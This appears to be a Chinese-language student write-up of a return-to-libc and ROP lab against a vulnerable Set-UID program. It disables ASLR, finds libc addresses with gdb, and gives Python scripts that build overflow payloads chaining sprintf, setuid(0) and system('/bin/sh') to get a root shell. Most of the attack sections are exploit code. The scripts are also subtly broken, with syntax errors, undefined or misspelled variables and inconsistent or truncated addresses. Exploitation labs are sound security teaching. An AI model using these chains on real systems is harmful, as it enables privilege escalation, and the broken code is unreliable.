Return-to-libc Attack Lab
return-to-libc 是一种对抗linux系统栈保护的攻击方法。我们知道大部分linux系统有栈保护机制(DEP)。简单的说,既然栈中的指令不能执行,我们可以找到libc中的函数去执行,这样就绕过了数据不可执行的问题了。
实验准备
1、关闭地址随机化
sudo sysctl -w kernel.randomize_va_space=0
2、用符号链接代替 /bin/bash
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
sudo ln -sf /bin/zsh /bin/sh
Task 1:Finding out the Addresses of libc Functions
ret2libc的精髓之处在于,把ret addr修改成libc库中的函数地址,并且构造了system函数的参数。
构造攻击链第一步就是找到可利用的函数system()
这里使用gdb打印出地址
#生成可执行文件
touch badfile
make
#打开gdb附加
gdb
gdb-peda$ file retlib
# 在main函数下断点并运行
gdb-peda$ break main
gdb-peda$ run
# 用p指令查看变量的值(地址)
gdb-peda$ p system
gdb-peda$ p exit
Task 2:Putting the shell string in the memory
设置一个可以利用的环境变量
因为要把字符串 “/bin/sh” 传入system的参数才能拿到权限
$export MYSHELL=/bin/sh
$env | grep MYSHELL
prtenv.c:
#include<stdlib.h>
#include<stdio.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
Task 3:Launching the Attack
有了前两步得到的,就可以构造攻击脚本了
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = Y+8
sh_addr = 0xffffd403 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 28
system_addr = 0xf4e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = Y+4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
成功拿到后门
Task 4:Defeat Shell’s countermeasure
$ sudo ln -sf /bin/dash /bin/sh
task3 和 task4 的区别在于zsh不会校验权限dash会
所以不但要拿到shell,还要是root
可以用execv拿shell,也可以构造ROP时先提权再system
便于task5 的实现,采取后者:
构造ROP的核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。
所以先找到ret命令:查看可利用函数的汇编
有点长直接看最后的返回指令地址 leave = 0x565562ce
其余需要利用的函数均照第一步p打印出
照ppt上用sprintf 构造出setuid()指令需要的’0’ (即root)
然后按照先获得root权限再system拿shell的顺序编rop链
每次 ebp指针移位0x20,构造出一段栈空间执行我们需要的代码
构造时‘A’为填充,其个数根据 0x20 - (前面传入参数个数) * 4
# !/usr/bin/python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content bytearray(0xaa for i in range (24))
sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20
# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
# Use leave ret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_argl += 1
# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
# Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
成功拿到root的shell:
Task 5:Return-Oriented Programming
与task4区别不大
exploit.py:
# !/usr/bin/python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content bytearray(0xaa for i in range (24))
sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
foo_addr = 0x565562d0 # CHANGED!
# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20
# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
# Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_argl += 1
# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
for i in range(10): # CHANGED!
ebp += 0x20
content += tobytes(ebp_next)
content += tobytes(foo_addr)
content += tobytes(leveret)
content += b'A'*(0x20-3*4)
# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
# Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
调用10次: